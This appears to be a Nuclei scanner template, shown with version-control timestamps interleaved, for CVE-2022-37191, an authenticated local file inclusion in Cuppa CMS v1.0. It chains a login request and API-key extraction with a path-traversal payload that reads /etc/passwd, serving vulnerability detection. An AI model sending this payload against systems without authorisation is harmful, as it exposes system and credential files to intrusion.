2023-04-21 08:56:01 +00:00
id : CVE-2022-37191
info :
name : Cuppa CMS v1.0 - Authenticated Local File Inclusion
author : theamanrawat
severity : medium
description : |
The component "cuppa/api/index.php" of CuppaCMS v1.0 is Vulnerable to LFI. An authenticated user can read system files via crafted POST request using [function] parameter value as LFI payload.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches or updates provided by the vendor to fix the authenticated local file inclusion vulnerability in Cuppa CMS v1.0.
2023-04-21 08:56:01 +00:00
reference :
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-37191
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2023-04-21 08:56:01 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score : 6.5
cve-id : CVE-2022-37191
cwe-id : CWE-829
2024-06-07 10:04:29 +00:00
epss-score : 0.39013
epss-percentile : 0.97239
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
2023-04-21 08:56:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : cuppacms
product : cuppacms
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,lfi,cuppa,authenticated,cuppacms
2023-04-21 08:56:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
user={{username}}&password={{password}}&language=en&task=login
- |
POST /components/table_manager/ HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
path=component%2Ftable_manager%2Fview%2Fcu_api_keys
- |
POST /api/index.php HTTP/1.1
Host : {{Hostname}}
key : {{apikey}}
Content-Type : application/x-www-form-urlencoded
function=./../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd/
matchers-condition : and
matchers :
- type : word
part : header_3
words :
- "text/html"
2023-07-11 19:49:27 +00:00
- type : regex
part : body_3
regex :
- "root:[x*]:0:0"
2023-04-21 08:56:01 +00:00
- type : status
status :
- 200
extractors :
- type : regex
name : apikey
group : 1
regex :
- "<td class='td_key'>(.*?)</td>"
2023-07-11 19:49:27 +00:00
internal : true
2024-06-08 16:02:17 +00:00
# digest: 4b0a00483046022100cae18f2ffd9be2e5df03f091e999ccf122f68ce2e747456dd21b052830e69f64022100e2ce5e294007b7c6ab3e761ac0acccef20ae745dd2571e9d11608cf2ba778dd2:922c64590222798bb761d5b6d8e72950